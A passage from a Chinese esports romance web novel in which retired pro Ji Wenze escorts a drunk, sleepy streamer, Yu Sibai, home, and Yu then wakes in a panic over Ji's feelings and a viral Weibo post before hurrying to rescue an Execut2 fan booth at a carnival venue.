他抱着袋子,司机立刻眼尖地上前接过,要帮他放到后备箱里,郁思白婉言谢绝,把自己和袋子一起炮弹似的塞进了后座。 等郁思白的身影在车里消失,季闻则才回头,看见梁路仍然依依不舍地看着车的方向。 “梁路,是吗?”季闻则先道。 梁路莫名就有了一种上学时被老师点名的感觉,下意识僵了一下,又很快告诉自己不能怂,不能一上来就落了下风! “你不是知道我吗?”梁路也沉声。 “签约的事?”季闻则轻轻嗤笑了一下,“那是哄他开心的,我退役后不看这些。” 梁路额角一跳,看着面前男人一副云淡风轻的样子,更是觉得自己处于无能狂怒的边缘。 “你恐怕不知道吧,小白哥是直男,他不喜欢男生。”他直接说。 “我知道。”季闻则笑了一下,“但那就是他要考虑的问题了。” 梁路:? “什么?” 他震惊了。 这人……他都不担心吗? “你不会以为他是真的没听懂吧?”梁路道,“他就算现在没听懂,明天一觉醒来,也绝对不会再理解错的,小白哥又不傻。你游刃有余的时间不多了。” 说着,梁路觉得自己已经看到了此人火速出局的未来,后背顿时又挺直了。 “或许你觉得,只要徐徐图之,就一定能……” “徐徐图之对他没用。”季闻则轻笑,“你觉得你打乱了我的节奏?” 梁路看着他,一言不发,但意思很明白。 难道不是? “不,你打乱的,是他的节奏。” 季闻则只这一句话,没有再多解释的意思,转身之前,淡笑着扫了他一眼。 “加油,世界赛先拿个冠军回来?” 梁路周身的气息陡然就沉下来了,脸色也变得不好看起来。 季闻则把破防的小兔崽子留在原地,拉开后座车门,郁思白已经坐在靠里面的位置,目光显然很困倦了,但还是往他身后看了两眼,显然也是关心为什么少了一个人的。 季闻则坐下,关上车门,不等郁思白开口问,就对前座司机道:“往前开一点。” 司机心领神会,缓缓行驶到几米外那个孤独的背影旁。季闻则降下车窗,指尖点了一下窗框,声音是不怎么愉快的低沉。 “上车,别让你哥担心。” 梁路垂着眼睛,正要固执拒绝,就看见郁思白探身过来,和季闻则之间虽然有礼物袋阻隔,但还是几乎要靠到男人身上。 郁思白道:“明天回去还有训练,我们送你回去,早点休息。” 他一边说着,怕梁路看不到自己,还要往过歪。 梁路立刻拉开副驾就坐了进去。 郁思白像他的向日葵弹簧玩具一样,又晃晃悠悠地弹了回去。 梁路看着他远离季闻则,才扣上了安全带。 车里一片死寂,正适合睡觉,梁路回头看得很频繁,第四次扭头的时候,就已经看见郁思白脑袋歪在车窗上,闭着眼睛,微微张着嘴睡了。 他半点也没有要往季闻则那边靠的意思,两个人之间楚河汉界的,梁路顿时在心里哼了一声。 他想起传说里,白哥对那位一突前辈的断崖式疏远,就是从线下拉开距离开始—— 下一步,百分之百就是逃避见面了。 梁路看着郁思白的动作,顿时觉得自己所言非虚,季闻则就像一个刚愎自用的傲慢皇帝,不听好人言,总有他吃亏的那天! 期待! 梁路又看了眼郁思白闭着眼睛的样子,带着点炫耀开口道:“白哥应该也播不了了,我去帮他请假吧,我有他运营的联系方式。” 说罢,一边竖着耳朵听季闻则的反应,一边给运营发消息。 结果对面回了一个哈哈的表情,然后说。 【已经请过假了呀,小路你去看看微博呢?】 梁路心里先是疑惑,旋即猜到什么,脑海里咯噔一下,立刻打开微博。 第一个弹出来的,就是ICG官博的消息,张口就是一段。 【//:@ICG电子竞技俱乐部:……Respit2的病假条被领导随意丢在地上,领导冷笑:“凭你也想请假?也不看看自己的身份!”Respit2颤抖地蹲下,捡起病假条,眼泪在眼眶打转。突然!办公室门被一脚踢开。一个高大帅气的男人逆光而来,周身竟是四冠强者的逼人气势!男人开口——//:@ICG-Execut2:帮@Respit2请假,今晚不播。】 梁路:? 这官号皮下指定有什么副业……等等,转发的谁的消息?! 梁路震惊点进去,发现那个@ICG-Execut2头像上真的挂着黄v,是货真价实的……Execut2。 他猛地回头,压低声音:“你……你什么时候!” “你白哥没教过你么。”季闻则晃晃手机,勾唇道。 “事以密成。” 梁路再次握紧双拳。 他闷不做声了好一会儿,见郁思白头在玻璃上一磕一磕的,想了一下,又脱下自己的薄外套,仔仔细细叠起来。 在心里给自己打了一番气,梁路扭过身子。 “小白哥……”他刚想把衣服往后递,就听见咔哒一声。 季闻则按开后座暗格,直接从里面拿出两条还带着洗衣液香气的薄毯,一条抖开盖在郁思白腿上,另一条又对折了一下。 他没说话,直接伸手托起郁思白的头,然后极丝滑地把薄毯垫了上去,动作轻缓,郁思白甚至眼皮都没抖一下。 梁路:…… 靠。 他突然就懂了,为什么教练ketya会对Execut2这个人又爱又恨,以至于退役之后都记了七年。 爱是因为Execut2是带他夺冠的前队友,还是把他从EMEA带到cn的伯乐。 恨…… 虽然ketya口口声声说,是因为Execut2把他撂下人间蒸发,但大家一致认为,根本原因还是他曾经跟Execut2当过两年的对手。 一个冠军,根本没法磨灭ketya被Execut2这个对手支配两年的痛苦。 现在梁路也感同身受了。 一个在你行动之前,就已经轻而易举用更漂亮的手段完成任务的家伙……真的,很让人恼火。 梁路觉得自己要疯了。 同时又忽然庆幸自己生的晚,没有跟这样的人在同一个职业时代。 但生在同一个人的感情时代也很坏啊! 梁路想,下车之前我一定要做点什么扳回一城。 可惜司机开的实在有点快,没等他想好,车就已经停在了他宾馆前面。 车停得很缓,郁思白半点都没有感觉,睡的安详极了。 梁路原本想戳戳他小白哥,至少可怜巴巴道个别,可刚解开安全带,就听到季闻则淡淡的声音。 “他工作很忙,别打扰他休息了。” 梁路立刻:“难道不是你让他加班的?” “那是他自己的选择。”季闻则说,“他做自己喜欢的事,忙一点累一点,我有什么好置喙的?” “下车吧。” 梁路一怒之下怒了一下,转身下车,却连车门都不敢甩。 一是怕吵醒好不容易休息的人,二是怕赔不起。 ……可恶。 下车后,他手握拳,转身咬牙道:“替我转告我白哥,我们嘉年华见。” 听见了吗?嘉年华!怎么,你一个退役人间蒸发七年的人也去? 梁路本意是想挑衅,却见季闻则仍然神情淡淡,点了下头,直接升起车窗。 车子扬长而去,梁路在原地跺了好一会儿脚,才愤愤上楼。 嘉年华就是这周六了,ICG周五还有一场比赛,他要赢个漂亮的!好让白哥看到!- 车开到庄园里的时候,司机特意没有像刚刚一样停得那么丝滑,而是稍微重踩了一点刹车,好让睡觉的乘客能自然被唤醒。 郁思白脑袋一点,一脸茫然地睁眼,垫在脸颊旁的薄毯无声掉到地上。 “啊,到了吗?小路再见啊……” “早都走了。”季闻则似笑非笑地看他,“走的时候你一点都没醒。” 郁思白抬手捂脸,像洗脸一样呼噜噜糊弄了两下,试图让自己清醒。 但失败。 他只觉得自己这觉睡得,像完全没用似的。 往常加班再累,路上哪怕在地铁上站着闭一会儿眼睛,回到家他都能有精神继续直播,从来没有过这种想倒头就睡,什么都不管不顾的感觉。 “你今天太累了。下午直播,晚上谈项目,还喝了酒。”季闻则说着,顿了一下强调,“主要还是喝了来历不明的酒。” 郁思白讪讪。 “真的不会再碰了。”他发誓。 季闻则点头,随口道:“小孩也不能信,有些小孩很坏。” 司机绕到侧面帮他们打开车门,问:“需要帮忙把这位先生送回去吗?” 郁思白只觉得自己的困意和醉意已经next level,闻言连连点头,刚要骨碌碌滚出后座,就听季闻则说。 “不用,我来就行。” 昂? 郁思白抬头,伸手指指自己抱着的巨大袋子:“还有它……” 季闻则弯腰探身进来,伸手轻松拎起,有行李箱大的袋子就这么服服帖帖地被拎了过去,而他本人晃都没晃一下。 季闻则另一只手伸向他,问:“扶哪里?” 郁思白眨眨眼睛,低头,看看自己肩膀,又瞥向自己腰和肚子,最后伸出一只爪子。 季闻则轻笑。 “袖子可抓不稳。” 他说着,在郁思白试图思考这句话的时候,一探手,结结实实握住了他的手。 “……喔。” 郁思白被拉了出去,夜风一吹,手背露在外面的皮肤凉丝丝的,更显得被握住的那片干燥又温暖。 走了两步,他不由得垂眸看过去。 那只手仍旧是漂亮的,却和以前又不是一模一样。 以前Execut2的手是充满少年感的,虽然敲击键盘的时候很有力,但手指偏瘦、也白。 现在……时间好像也在这双手上留下了雕刻的痕迹,沉淀了很浅的麦色,掌心有健身留下的薄茧,又是另一种吸引的感觉。 郁思白忽然伸手,扣了扣季闻则的表。 “要这个?”季闻则问。 郁思白道:“没,想看那个疤。” 握着他的手紧了一下,筋络滚动。 “不行。” 郁思白稀里糊涂的,乖乖“哦”了一声,过了一会儿却又故技重施,伸手去扣。 季闻则拉着他的那只手一展,三根手指一反手就把作乱的爪子也扣了下来。 他单手攥着郁思白的两只手腕,低眼看他。 “乖一点。” 捉拿归案的酒鬼又“哦”了一声,季闻则等了一会儿,见他确实没有故态复萌的意思,才松了三指,放爪归山。 郁思白刑满释放的那只手垂落在裤边,他下意识动了动,又在衣角蹭蹭,总觉得被圈过的地方很热,好像还有一道无形的铐子似的。 耳边也全是心跳的声音,又重又响,吵闹得很。 他抬手要去拍自己耳朵,但忘记手正被握着,动了一下,没抽出来,才愣住。 季闻则垂眸看了一眼交握的手,问:“不舒服吗?” 他本意是问,这样的牵手会让你不舒服吗。 但郁思白似乎并没有理解。那只手只在刚刚扑腾了一下,然后又乖乖地卸了力。 郁思白说:“刚刚有点头痛……现在好像好了,可能是吹了风。” 也可能是因为心脏太吵……所以注意不到了。 季闻则挑了下眉毛,忽然心头一痒,低头看他。 “那,说谢谢季医生?” 郁思白撩起眼皮,目光呆呆却认真地看他。 “谢你个头。” 季闻则收回视线笑:“还没喝傻。” 郁思白被拉着,晃晃悠悠走过昏暗的石子路,走过明亮的一楼大堂,迈进失重感强烈的电梯,最后摸出房卡刷开门。 季闻则问:“礼物放在……” “放床边就行。”郁思白说着,伸手要去接袋子,被季闻则随手晃开,扑了个空。 季闻则跟着他进去:“就这两步路,还接什么。” 巨大的礼物袋落地之后,郁思白才发现,最上面不知什么时候多了一个牛皮纸的文件袋,盖住了梁路送的Execut2周边。 “你东西忘了。”他提醒季闻则。 “给你的生日礼物。”顿了一下,他看了眼郁思白戴着的袖扣,又说,“这个你就戴着吧。” 郁思白立刻把文件袋抛到脑后,边摇头边乱七八糟地摘了袖扣,伸手递给他,见季闻则不接,直接上前拉开他西装胸前的薄口袋,当当两下,丢了进去。 “快自己收好。”他正色,“杜文鸢看它快把眼珠子瞪出来了……这个很贵吧。” 季闻则屈指,隔着西装硬挺的布料,贴了一下那两颗小宝石:“唔,还好。” 郁思白伸了个懒腰,甩了西装外套往床边一坐,摇头晃脑:“对你来说还好,对我来说就不一定了……这个颜色还是更配你。” 季闻则察觉到,这家伙的眼神又在往自己头顶飘了,顿时哭笑不得,强调:“我不会染的,收了你的心思吧。” 郁思白怏怏:“哦。” “再翻个年头,我就快三十了,染什么染。”季闻则轻拍了下他脑袋。 “三十怎么了?”郁思白嘟囔,“我也奔三呢……怎么了?你今天连看两个小孩儿,开始年龄焦虑了?” 他打着哈欠随口一说,没想到会听到季闻则的一声“嗯”。 郁思白愣了一下,顿时睁大眼睛看过去。 他想问、又想说点什么,但困意在大脑里不断地旋转搅和,到最后,搅得他一张嘴,只打了个哈欠出来。 季闻则笑了下:“看来今晚不适合聊天。” 他弯腰,顺手拎起被丢在床上的西装外套,挂到了旁边的衣架上。 木质衣架来回碰撞,发出凌乱又清脆的声音,听得郁思白更是昏昏欲睡,眼皮打架。 季闻则在这样悦耳的催眠声里,忽然问:“梁路的话,你怎么看?” 郁思白呆问:“哪句?” “第一句,记得么?”季闻则后退一步让开衣橱,里面西装被抻平,衣领袖口都挂得妥帖,像他如今的样子。 郁思白愣了一会儿,胡乱唔唔地摇头。 季闻则合上半扇柜门,走回去,弯腰和坐在床边的青年平视,目光直直看向他略显呆滞的浅棕色眼眸。 郁思白眨了下眼,像拨动了季闻则的开关。 “梁路说我喜欢你。”他开口缓缓问,“你觉得呢?” 郁思白眼睛愣愣睁着,好一会儿都没眨眼,一对浅棕的剔透眼珠也不转了。 季闻则挑眉,一手撑在膝上,另一只手抬起来,很轻地在他脑门上弹了一下。 “回魂了。” 郁思白忽然眼睛一闭,乱七八糟地就往后倒了下去,陷进软绵绵的被褥。 季闻则:? 他凑近看过去,这家伙已经哈欠打到眼泪糊了满眼。 手撑在郁思白脸侧,压出一片凹陷,那颗脑袋就顺势一歪,眼泪被晃了出来,一颗越过小丘似的鼻梁骨流到脸颊,另一颗直接在浅灰的被单上晕开。 可能闭眼的时候是下意识逃避……但这会儿,恐怕是真睡死了。 季闻则看了他片刻,忽然失笑,起身去浴室拧了块温热的毛巾,把他脸上的泪痕擦了- 郁思白一睡就到了第二天天亮。 只不过屋里遮光窗帘拉的严严实实,外面天亮不亮的他也不知道,就是了。 他难得有点宿醉的头疼,反手胡乱摸着手机,按亮,眯着眼睛去看。 【5:10】 ……好早。 他也不是没见过五点的太阳,但都是熬到五点,很少有这会儿就起的。 他本想翻个身继续睡觉,刚动了一下,脑海里却忽然冒出来一句。 ——“小白哥!他喜欢你!” 郁思白闭着眼睛,浑不在意地哼哼笑了声,喝了酒真是什么梦都做啊。 突然,脑海里又是一句冒出来。 ——“梁路的话,你怎么看?” 郁思白哼不动了,整个人一僵。 握着他的手,在脸上轻轻擦过的毛巾…… 郁思白摸了一下脸,脸上干燥光滑,不像是前一晚没洗过的样子。 等等,好像……真有此事。 他瞬间清醒,一骨碌翻身起来,身上还是昨晚的衬衫长裤,只是被解了领带和皮带,又松了两颗扣子防止他自己勒死自己…… 皮带正规规矩矩团成一个圆,就放在他床头柜上。 再等一下。 所以。 季闻则解了他的皮带对吗。 郁思白浑身一震,脑海里再次卡机一样刷屏。 【他喜欢你他喜欢你他喜欢你】 【你怎么看你怎么看你怎么看】 …… 啊! 我怎么看? 郁思白瞳孔地震。 不是,哥们。 你都解我皮带了,我还能怎么看啊!—— 作者有话说:小郁:不是,哥们[问号] 老季:对的,不是哥们[红心] [猫爪] 第54章 郁思白抬手把两边脸颊用力往中间挤, 好半晌才冷静下来。 正准备在脑子里过一下昨天的事儿,就陡然想起,自己昨天好像承诺了要直播, 但回来倒头就睡了。 他立刻又是一激灵。心里涌起一种,早上一睁眼发现已经八点十分, 错过早八点名的感觉。 和上班迟到的感觉不一样, 上班的功利性更强一点,不小心迟到了,还会带点暴躁的意思。 不像现在,是愧疚居多。 他连忙摸过手机点开J站,不出所料,右上角的消息提示又是红艳艳的999+。 郁思白直播这么多年, 除了之前喝多被钱远新丢外面的那次之外,这是唯二的一次莫名其妙鸽掉直播。 ……希望大家骂轻一点。 他捧着手机祈祷似的晃了两下, 才点开消息提示。 可内容却和他想的“不播就滚”等等大相径庭。 【???】 【谁给你请的假???】 【你小子, 你小子……不是去陪老板吃饭吗!】 【莫非你真暗度陈仓了?】 【[截图]?】 郁思白一懵,点开截图, 先是被迫读了ICG官博写的一段,然后才看到最后一行。 【@ICG-Execut2:帮@Respit2请假,今晚不播。】 P的吧。 这是他的第一反应。 Execut2的微博在他退役那年就彻底没声了,传言微博账号和J站账号一样, 都在ICG手上, 只偶尔转发一下ICG开发的新Execut2周边, 但运营都会标注[不是本人]。 于是他又赶忙找到微博,翻出自己关注列表里的第一个人,@ICG-Execut2。 然后木然发现,不仅不是P的, 下面评论甚至已经增殖到一万+了。 ……哈,季闻则,真是不鸣则已,一鸣惊人。 郁思白做好心理准备才点开。 【@不愿透露姓名的民政局:囍】 点赞3万。 【@理智为上:官博登错号了?】 点赞五千。 【@是的你可以叫我爹:批准你们夜不归宿了,别闹出人命】 点赞2万。 【@res不翻我牌子不改名:是不是给re宝那个年度主播奖造势啊,或者卡神要去嘉年华,所以活跃一下?】 点赞三千。 【@考研断网版:???不是。我才断网多久,怎么就快进到人鬼情未了了?】 点赞一万五。 郁思白深深吸了一口气,只觉得手机时烫时凉,和自己看评论的心一样,冰火两重天。 他抖着手,把两位可怜巴巴几千赞的评论都点了一遍,为他们坚定的、不为外物侵扰的理性点赞。 可他自己的视线,却总控制不住往其他评论上飘。 什么【囍】啊,【在一起】啊,【恭喜亡夫诈尸】啊……甚至连【早生贵子加入vctcn助力夺冠】都有。 郁思白眼前一黑又一黑。 往常这种言论在直播间里当然也有,同样也不在少数,不止Execut2的,和其他人的也常有,当代网友也就这点娱乐了,郁思白当然从来没在意,向来是一笑而过。 但是,现在过不去了。 郁思白清楚,自己现在应该赶紧发一个回应的动态或者微博,解释一下【不,我们只是哥们】。 但床头柜上皮带明晃晃的,让他打出第一个【不】字之后,下意识就只想接一句【不要啊】。 ……不要啊!这不好吧!! 渝市这地方说来也很有特色,郁思白虽然一直不认为自己也是特色中的一员,但没吃过猪肉总见过猪跑。 大学还没搬出来时候,他也曾经照顾过喝高了被抬回来的室友,搬出去后也照顾过突发高烧的pupu,虽然也会善良地觉得,他们挂着皮带睡觉可能会不舒服,但…… 上手去给人家解皮带这种事,他真的做不到啊! 难道是他在渝市长大,猪跑见多了所以太敏感了? 说不定季闻则真的只是比较善良?而且有比较强的动手能力和心理素质? 郁思白扔了手机,整个人用空调被松松软软裹着,懵懵坐在床上,脑海里下意识开始倒带。 人一旦心虚起来,看什么都只会奇怪。 他试图从很理智的视角去回忆,可现在有了季闻则解他皮带这个前提,再往前推,他只觉得什么都变了味儿。 季闻则又没有见不得乱的强迫症,为什么要帮他把乱丢的西装那么贤惠地挂好? 下车的时候,季闻则明明可以攥他手腕,为什么一定要拉他的手,还一拉就是一路? 还有之前,开口让梁路上车的时候,怎么有点像爸妈管小孩? 梁路说出那句惊天地泣鬼神的“他喜欢你”之后,季闻则的表情为什么还是半点都没变化的?就跟默认了一样? 再往前…… 他问出那句“你也像帮我一样,帮过其他人吗”。 季闻则说:“如果只帮过你,你会困扰吗?” 郁思白脑海里,嗡地一声响起警报。 原来,是说这个困扰的意思吗? 大脑的cpu在疯狂运转中,终于冒烟卡机。 咚的一下,郁思白往前一趴,头撞进柔软的空调被里,像撞进一块豆腐一样无力。 猪跑见太多了果然也是有坏处的。他想。 至少他现在怎么都做不到自欺欺人地说,这季闻则是个直男,和他之间的关系,都是哥们而已。 “……啊啊啊!” 脑袋在被子里左右乱拱了好一会儿,郁思白顶着鸡窝头侧过脸透气,明明已经醒了酒、但仍然发直的目光,一不小心落在了床边的巨大礼物袋上。 上面是个陌生的牛皮纸袋。 郁思白倒带——哦,是季闻则走之前放下的生日礼物。 什么东西…… 好奇心促使他下意识伸手,可伸到一半,突然又触电一样缩了回来。 平平无奇的牛皮纸袋,里面八成是放了文件之类的东西,此刻好像变成了定时炸弹一样。 一碰,就会把他平平淡淡的母单直男生活炸个粉碎的那种。 ……不不不,果然还是先不拆了吧。 郁思白立刻把爪子塞回被窝,在床上重新变成一个发呆的浅灰色三角饭团,颜色让人觉得味道不佳。 他开始思考人生,但才开了个头,手机就传来叮叮咚咚的消息提示音。 来自公司内部软件。 郁思白设置的是周一五点半起自动开启提示,眼下大概是昨晚积压的消息冒出来了。 叮咚的提示声很频繁,像冰雹砸到窗户上,让郁思白有种屋漏偏逢连夜雨的感觉。 三角饭团叹了口气,长出手来,戴上眼镜工作。 发消息的是武天骄,正好轮到她下周驻扎渝市场馆那边,她索性周日就直接过去了,跟进了一下项目进度之后,半夜给郁思白写了个小汇报。 郁思白一条条扫过去。 场馆项目收尾进度喜人,之前发现的零星小问题,武天骄也全部检查过,都修复的很完美,完全能在预定时间内搭建完成。 唯独有一个突发情况,是面向玩家征集的独立展台区出了一点问题。 【项目方是说,因为展台原设计者因故不能参加,所以要临时取消“Execut2”这个选手的展台,而且这个选手可能比较冷门,其他报名作品设计的质量都很一般,因此项目方考虑用这个位置,给另一个热门选手加位。】 因故不能参加的肯定是tigerrr,但郁思白原本以为官方会选其他Execut2粉丝稿件的,哪成想,竟然要直接取消换掉? 郁思白顿时一拍被子,腰挺得笔直。 岂有此理!当我们Execut2背后没人吗! 他回了武天骄:【换展台的事你跟他们说等等,我等会儿去接洽】 简短回完,郁思白看了看时间,立刻定了七点的机票,又联系庄园管家派一辆车送他去机场。所有都搞定之后,半点没再拖延,翻身下床洗漱。 腰间松松垮垮的,让他迈出去的步子顿了一下,扭头,目光落在皮带上。 还是很刺眼,但他闭了下眼睛,胡乱拎过皮带穿上。 皮带是皮带,展台是展台。 里子和面子他还是分得清楚的。 当然得先要Execut2的面子啊! 郁思白心里口号喊得十分笃定,但手上的动作,还是暴露了藏在口号后面的混乱心思。 他只觉得皮带烫手,半天都穿不进裤扣里去。 不、不就是解个皮带吗,又不是真的做了什么,哆哆嗦嗦的像什么样子!郁思白! 他在心里加油打气,很快又觉得不对。 还要做什么?郁思白你怎么这么熟练啊! 烫手的皮带终于在绝望中回到了它该在的地方,郁思白顶着冒烟的脑袋闯进卫生间,扑了好几把凉水才成功降温。 没过两分钟,房门被轻轻敲响,郁思白隔着猫眼看见管家的身影,才松了口气开门。 “郁先生,早。”管家跟他打了招呼,然后说,“车已经给您安排好了,主楼也有早餐供应,您可以随时过去吃。” “好,辛苦了。”郁思白点头。 他一开口,被自己的声音吓了一跳,简直哑得像晚上做了什么一样。 想来应该是直播用嗓过度,加上喝了酒,才成这样的。 管家立刻表示主楼还有准备喉宝,又问:“您需要多余的行李箱吗?” 郁思白愣了一下:“你们提供行李箱?那之后再寄回来么?” “您带走就行。”管家道,“是季总的吩咐。” 郁思白脑海里,再次啪地闪过季闻则那句“只帮过你”,顿时大受震撼,张了张嘴,脱口而出。 “这行李箱……是独独我有,还是别的人都有?” 管家受过专业的训练,忍住笑道:“郁先生,是都有的。庄园这边考虑到大家都是来短暂度假,不一定会带很多东西过来,但走的时候却可能大包小包,所以各种尺寸的行李箱都是常备着,只要需要都有的。” 郁思白松了口气,回头看了眼自己的礼物袋。 他原本是打算直接回沪市,晚几天再去渝市的,所以自己的行李箱里装的满满当当,这些礼物还真无处容身。 于是他道:“那麻烦帮我拿一个小的吧。” 顿了一下郁思白又问:“季闻……季总,没起来吗?” 管家想了想道:“季总房间熄灯很晚,现在可能刚睡下不久。” 郁思白再次松口气,只觉得自己快把魂儿吐出来了。 至少一会儿不会突然见到季闻则。 工作大难当头,季闻则……还是允许他先逃避一下吧。 管家片刻后又回来给他送了空行李箱,走的时候还贴心地帮他带上了门。 郁思白拎起牛皮纸袋,就压了箱底。然后一股脑地把看得见的东西,全都塞进了行李箱,主打一个快,毫无收纳可言。 正准备合上箱子,他一抬头,突然看见只关了半扇门的衣橱,里面露出自己西装的一角。 差点忘了这个。 郁思白看了眼时间,连忙走过去,可站到衣橱门口却突然一怔,脑海里冷不丁想起季闻则昨天站在这里,回头问他“梁路的话,你怎么看”。 似乎,就正好站在自己旁边的位置…… 有那么一瞬间,郁思白忽然有种时空重叠的感觉,仿佛能感受到另一个人近在咫尺的体温似的。他立刻甩甩脑袋,清空这些古怪的想法,抓了西装就走,还反手关了柜门。 关上!必须关上! 因而他也没有注意到,原本还有一条领带和西装挂在一起,此刻被甩到了衣橱角落,不见天日。 平平展展的西装被胡乱叠了两下,放到行李箱正中。郁思白把行李箱一合,一手拉一个箱子,拖着就跑,仿佛那柜子里,有什么东西在追似的。 他一路拖着箱子狂奔,突然拉开车门的时候,司机都吓了一跳,手一抖,手机就掉到驾驶座下面去。 的机械朗读声,顿时被加了混响似的。 “第一千章总裁的落跑新娘。” 郁思白顿时一震。 司机弯腰掏着手机,不大好意思地笑笑。 “活到老,学到老嘛。” 郁思白:…… 您学这个啊!- 山航的飞机不负众望地早了半小时落地,郁思白把两个行李箱往酒店一甩,就立刻赶到场馆。 现阶段和他们接洽的官方负责人不是克里夫,也不是先前那个经理,姓郑,一般都叫他郑主管,人不错,工作起来也是雷厉风行。 这不,郑主管从武天骄那听说,换展台的事郁思白有异议,立刻就早早来了现场。 两人在场馆门口碰面,一起往里面的临时办公室走去。 郑主管和郁思白差不多的年纪,长相偏严肃老成,但语气和善,开口问:“郁工,展台那边您是有什么考量?” 郁思白直接开门见山:“不用换选手……。” 郑主管先是被他的声音吓了一跳,难得把工作推后,多问了一句:“郁工这是病了?” “……一点意外。”郁思白摆手,“不碍事。我特意过来就是跟你商量一下,Execut2的展台,我接手来做。” 闻言,郑主管的脸色变了变,有些为难,但还是耐心解释。 “郁工,我理解你这边可能会担心,更改展台之后,原本设计好的搭配效果会没那么好。但这个独立展台区,我们还是更想给选手粉丝们一个自己的空间,不做太多干涉……” “我就是粉丝。”郁思白说。 郑主管愣了一下:“虽然我们这个申请条件不查粉籍,但……” 但您也不能张口就来啊! 他轻笑了一下,直接拿出手机打开J站,翻到【Respit2】的主页让郑主管看一眼。 郑主管愣了愣,不大相信:“Respit2……?哈哈,郁工,这好像有点……” 他以为郁思白是想用这位“Execut2知名粉丝”的身份来蒙混过关。 郁思白看出他的犹豫,短暂迟疑了一下。 但他今天就是奔着展台来的,要拿下的心十分坚定,皮带可鉴。 于是,郁思白索性直接打开J站直播的实名认证后台,递到郑主管面前。 郑主管原本还要开口劝,一低头,突然脚下一个踉跄。 【账号:Respit2】 【实名认证:郁思白】 “……?!”郑主管好不容易稳住脚步,抬头,一张严肃老成的脸上满是震惊,向来雷厉风行的嘴,此刻结巴道。 “你……你你你是……” “现在我可以接手展台了吗?”郁思白问。 “可可可可以!”郑主管又磕绊了一句,终于稳了下来,一张严肃的脸上,此刻竟称得上笑靥如花,格外有冲击力。 郁思白努力淡声道:“还要麻烦郑主管,不要向别人透露我的工作情况,谢谢。” “了解的,了解的。” 郑主管连连点头,又跟着他亦步亦趋地走了几米,突然问。 “那个,能……能跟你合个照吗?re宝。” 轰隆——! 郁思白只觉得一道惊雷当头劈下。 ……来了,最害怕的一集。 线下被叫网名,还是这种可爱宝宝版。 他缓缓扭头,目光复杂地看向郑主管,忍不住说。 “你一个大块头男生……为什么会叫得出来这种、这种……” 郑主管还带着些线下网友见面的腼腆,但开口就是:“你连老公都叫得出来,我们学样有样嘛。” ……啊! 不要再说了! 郁思白只觉得脑海里呜的一声拉响汽笛,脑袋顿时红温,咬牙道。 “算、了。” 郑主管腼腆地举起手机,咔擦合照完,忍不住说。 “re宝你真的……帅的有点牛逼了。”他道,“你今年是不是还要上台领奖?等我到时候安排一个最牛逼的妆造师给你弄!” 郁思白立刻拒绝:“不用了,我顶纸箱上台。” 郑主管:? 他顿时一脸可惜。 “re……s。”他见郁思白实在浑身难受,放过了可怜的主播,改了口说,“其实我看你直播七年了,今天能看到你,我真的特别开心。” 突然进入到煽情环节,郁思白愣了一下,但还是沉下心来听。 郑主管说:“所以你和卡神是真的吗。” 郁思白:? 这样偷袭? “没有的事。”郁思白神情严肃,“不要乱讲。” 郑主管虽然点头,但神情明显将信将疑,他当然不好再问,正准备寻个什么新的话题,就就听手机铃声响起。 “抱歉郁工,我接个电话。”他道,“我就在办公室,有事儿随时来。” 郁思白点头,跟他告别。刚一转身,自己的手机也不甘示弱地震了两下。 点开微信,有人像男鬼一样偷偷出现了。 【季闻则:不是要回公司吗?怎么去渝市了。】 他似乎用了个公事公办的开场,言辞间颇有正气,郁思白想了一下,也回。 【嘉年华这边临时出了点事。胡啸那展台没法继续用了,空下一块,正处理。】 郁思白没说自己要接手的事儿,下意识觉得,“皮带和展台”在他这儿或许是分开的,但在季闻则那儿,铁定分不开。 季闻则可是问他“怎么想”的,他绝不能给出这种暗示! 【季闻则:这样】 【季闻则:我还以为你跑了呢^-^】 郁思白没由来地抖了一下。 没等他应激炸毛,季闻则下一句又是安全球。 【季闻则:忙工作吧,有需要随时找我】 郁思白几乎能想象出他说这话时候的神情,含着笑意不急不缓,他做事向来是松弛有度,讲究一个徐徐图之。 ……也好。郁思白把心揣回肚子里。 工作重要,等忙完这茬再说吧。 嘿,而且工作是忙不完的呀,一茬一茬又一茬…… 郁思白呼出一口气,转身往一组在这边的临时办公室匆匆走去。 展台他倒是有思路,但先前只做了个框架,还没来得及细化,就出现了一个天降场馆项目大礼包。 眼下离嘉年华就只剩四天了,他得抓紧。 他身后,刚刚接着电话离开的郑主管一脸疑惑。 “什么?可能有临时嘉宾要来,在开场前还要尽量低调?” “意思是,工作人员也尽量不要说吗?是谁啊领导,我总得知道……” 听到对面报出的id,郑主管眼睛陡然睁大。 他下意识回头,看向郁思白走远的背影,犹豫了一下,还是没开口把人叫回来。 看他,真是咸吃萝卜淡操心。 人家跟卡神私底下不知道多熟呢,这种小事儿,哪轮得到他报这个喜。 果然他所料不错! 郑主管点开自己的微博,把【res不翻我牌子不改名】的id改成了【res翻我牌子了嘻嘻】,点开后台,欣赏着自己的三千点赞,其中还有Respit2本人的一个。 就说嘛,人家俩什么关系,re宝肯定是第一个知道的啊—— 作者有话说:[猫爪] 第55章 中午吃饭的时候, 郁思白收到了一个稀客的消息。 【coco:我期末论文赶完啦】 【coco:周末嘉年华见哦/旋转开心.jpg】 郁思白睁大眼睛,惊喜地回了三个感叹号。 Colpsar,楚别夏, 他的前世界冠军朋友,退役后继续学业, 时常被论文绑架, 可即便如此,也不时会更新一下社交软件的动态。 足以见得,某个人间蒸发七年多的E姓男子,本人是有多排斥再接触到相关内容了。 刚和楚别夏约好了周五晚上彩排见,下午,郁思白就接到郑主管的通知, 官方那边来了个临时嘉宾,因而舞台也要相应的做出调整。 “我们也知道这事儿有点突然, 但实在抱歉……”郑主管这样说着, 但看向郁思白的视线里,却歉意较少, 好奇居多。 郁思白没关注他的神情,只点头道:“没关系,这是之前就沟通过的。我们也做了相应的临时方案,在现基础上改动不大。” 郑主管严肃的脸上立刻挂起笑容, 重重握了两下郁思白的手, 激动道:“跟郁工合作这是我们最正确的选择!哎, 这段时间我们真的是……每一次出了什么意外,我们都还没来得及担惊受怕呢,郁工就随手给我们解决了!郁工,你真是运筹帷幄啊!” 自从上午摊牌身份之后, 郑主管就好像被什么东西上了身,在极短的时间里,丝滑完成了“res吹”到“郁工吹”的转变。 郁思白抽了抽嘴角。 “运筹帷幄”这四个字让他有点应激——因为听起来像是形容季闻则的。 莫名的,让他有一种“这人怎么到处都是”的感觉。 郑主管兴奋跟他握完手,又挤了一下眼睛,压低声音问:“res,你知道临时嘉宾是谁吗?” 郁思白点了下头:“我知道啊——” 话还没说完就被郑主管立刻“嘘”地打断。 